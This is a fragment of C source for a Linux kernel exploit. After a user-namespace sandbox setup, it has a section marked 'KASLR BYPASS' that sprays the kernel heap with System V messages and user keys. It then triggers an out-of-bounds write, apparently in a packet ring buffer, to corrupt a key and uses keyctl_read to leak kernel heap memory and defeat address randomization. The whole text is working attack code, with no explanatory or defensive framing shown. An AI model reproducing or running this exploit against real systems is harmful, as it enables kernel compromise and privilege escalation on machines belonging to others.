perror("[-] write_file(/proc/self/gid_map)");
exit(EXIT_FAILURE);
}

cpu_set_t my_set;
CPU_ZERO(&my_set);
CPU_SET(0, &my_set);
if (sched_setaffinity(0, sizeof(my_set), &my_set) != 0) {
perror("[-] sched_setaffinity()");
exit(EXIT_FAILURE);
}

if (system("/sbin/ifconfig lo up") != 0) {
perror("[-] system(/sbin/ifconfig lo up)");
exit(EXIT_FAILURE);
}
}

/************************ KASLR BYPASS ***********************/

/* spray 256 */
struct msg {
long mtype;
char data[0];
};

int msg_init() {
int msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT);
if (msqid < 0) {
perror("msgget");
}
return msqid;
}

// 200 for 256
void msg_alloc(int msqid, size_t size) {
struct msg *m = malloc(sizeof(struct msg) + size);
m->mtype = 1;
memset(m->data, 0x41, size);
if (msgsnd(msqid, (void *)m, sizeof(struct msg)+size, 0) != 0) {
perror("msgsnd");
}
free(m);
}

void kmalloc_msg(int num) {
int msqid;
msqid = msg_init();

for (int i=0; i<num; i++) {
// kmalloc 256
if (i%50 == 0)
msqid = msg_init();
msg_alloc(msqid, 200);
}
}

key_serial_t spray_key(size_t size, int i) {
if (size <= 0x18) {
printf("size <= 0x18\\n");
exit(-1);
}

char type[5] = "user";
char* description = (char*)malloc(sizeof(char)*10);
char* payload = (char*)malloc(size-0x18); // 256
memset(payload, 'B', size-0x18);

key_serial_t key;
sprintf(description, "key%d", i);
key = add_key(type, description, payload, size-0x18, KEY_SPEC_USER_KEYRING);
if (key == -1) {
perror("add_key");
exit(0);
}
free(description);
free(payload);
return key;
}

void* leak_key(key_serial_t key, size_t size) {
void *data = malloc(size);
memset(data, 0, size);
int xxx = keyctl_read(key, data, size);
if (xxx == -1) {
perror("keyctl_read");
exit(-1);
}
if (xxx == 0x4444) {
free(data);
data = malloc(0x4444);
// leaking `struct key`
keyctl_read(key, data, 0x4444);
}
printf("read key: %d\\n", xxx);
return data;
}

key_serial_t keys[64];

void oob_user_key() {
int s = oob_setup_kaslr(0x2000+0x2e8);

for (int i=0; i<64; i++) {
keys[i] = spray_key(256, i);
}

char buffer[0x300];
memset(buffer+0x18-2+0x10, 'D', 0x110);
buffer[0x26] = 0x0;
buffer[0x27] = 0x10;

// prb_open_block
oob_write(buffer, 0x40);
int target = 0;
for (int i=0; i<64; i++) {
printf("%d ", i);
char *data = leak_key(keys[i], 0x1000);
for (int j=0; j<0x500-0x10; j++){
if (!memcmp(data+j+0x10, "DDBBBBBBBBBBBBBB", 16)) {
DumpHex(data, 0x500);
target = i;
printf("We find it!\\n");
goto found;
}
}
printf("%d\\n", i);
DumpHex(data, 100);
free(data);
}

printf("Not found\\n");
goto done;

found:
DumpHex(leak_key(keys[target], 0x2000), 0x2000);

done:
return;
}

int main (int argc, char **argv)
{
printf("[.] starting\\n");
setup_sandbox();
printf("[.] namespace sandbox set up\\n");
printf("[.] padding heap\\n");
kmalloc_msg(0x800);
pagealloc_pad_kaslr(0x500);
oob_user_key();

while (1)
{
sleep(1000);
}
return 1;
}